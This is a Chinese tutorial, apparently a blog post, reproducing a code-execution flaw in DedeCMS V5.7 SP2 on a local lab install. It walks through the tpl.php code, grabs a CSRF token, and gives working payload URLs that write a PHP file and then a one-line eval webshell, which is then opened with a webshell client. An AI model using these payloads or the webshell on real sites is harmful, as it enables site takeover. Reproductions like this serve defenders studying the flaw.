dedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)

一、漏洞描述

织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。Dedecms V5.7 SP2版本中的tpl.php中存在代码执行漏洞,可以通过该漏洞在增加新标签中上传木马,获取webshell。

二、利用条件

该漏洞利用需要登录后台,并且后台的账户权限是管理员权限。

三、漏洞环境搭建

1、官方下载DeDeCMS V5.7 SP2(UTF-8),下载地址: http://www.dedecms.com/products/dedecms/downloads/
2、使用phpstudy搭建web环境
3、把下载好的源码放到网站根目录下也就是www目录下,然后开启phpstudy, 浏览器访问http://127.0.0.1/dedecms/uploads/install/index.php,点击继续,
在这里插入图片描述
中间有一个配置MySQL数据库密码,其余全部默认继续
在这里插入图片描述
在这里插入图片描述

四、漏洞复现

1、由于此漏洞是属于后台漏洞,需要先登录到后台,后台默认的账户和密码都是admin。Dedecms默认后台路径是/uploads/dede。
在这里插入图片描述
2、分析tpl.php里面的代码
在这里插入图片描述
A:此处定义了一个savetagfile的函数,首先做一个判断,参数"action"的值是否等于savetagfile,如果等于就进行下一步
B:这里有一个csrf检验函数,防止CSRF漏洞的,需要加上token来绕过限制
C:正则表达式匹配,这里的意思是判断filename参数的值是否匹配正则表达式的条件,不匹配就不允许进行操作。
D:把$content里面的内容写入到相对应的路径里,由于这一部分代码除了对写入的文件名字做了简单的过滤和一个csrf防护之外,其他并没有什么安全措施,导致我们可以任意写入代码。
其余的

在这里插入图片描述
政策表达式的意思
^:匹配输入字符串的开始位置,除非在方括号表达式中使用,此时它表示不接受该字符集合。要匹配 ^ 字符本身,请使用在这里插入图片描述
{1,}:代表匹配1次到多次,最少1次.
[a-z0-9_-] :正则中的方括号是指满足方括号中要求的“一个字符”;[a-z0-9_-]是指小写字母、数字、下划线、横线中的一个字符
.lib.php:匹配.lib匹配.php
$:匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 $
头尾的^和$代表匹配一个完整的字符串,如果这个字符串中出现任何一个不是[]中内容的字符这个字符串就无法匹配.

KaTeX parse error: Expected 'EOF', got '#' at position 25: … preg_replace("#̲\.lib\.php#i", “”, $filename);将filename参数值中.lib.php替换为空
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。

3、通过上面的代码了解到,有csrf检测防御,需要获得token来进行绕过。再次浏览tpl.php代码,发现action的参数有很多,比如del,edit,upload等等,但只有传入upload的时候页面才会获取token,而其他的都没有获取token,所以只能通过action=upload来获取token
在这里插入图片描述
4、我们再去tpl.php里看一下,发现action的参数有很多,只有通过action=upload来获取token,浏览器访问http://192.168.10.171/dedecms/uploads/dede/tpl.php?action=upload
在这里插入图片描述
5、然后查看页面源码,发现token
在这里插入图片描述
6、通过浏览tpl.php代码,发现要上传的参数有:action,token,filename,content,构造payload
a.由于dedecms全局变量注册的特性,所以这里的content变量和filename变量可控。
b.可以把content内容直接写到以.lib.php结尾的文件中。
Payload: http://127.0.0.1/dedecms/uploads/dede/tpl.php?action=savetagfile&token=a42b45bf9459aa8c256dadff4eaf483d&filename=abc.lib.php&content=<?php phpinfo();?>
7、浏览器访问构造的payload,下图发现成功写入
在这里插入图片描述
8、根据代码可以看到写入到taglib目录,浏览器访问 http://127.0.0.1/dedecms/uploads/include/taglib/abc.lib.php
在这里插入图片描述
9.gethsell写入一句话木马
http://127.0.0.1/dedecms/uploads/dede/tpl.php?action=savetagfile&token=a42b45bf9459aa8c256dadff4eaf483d&filename=abcd.lib.php&content=<?php @eval($_POST[x]);?>
在这里插入图片描述
10.菜刀连接,成功getshell
在这里插入图片描述

五、漏洞防御

1.禁止此处写入文件。 2.过滤恶意标签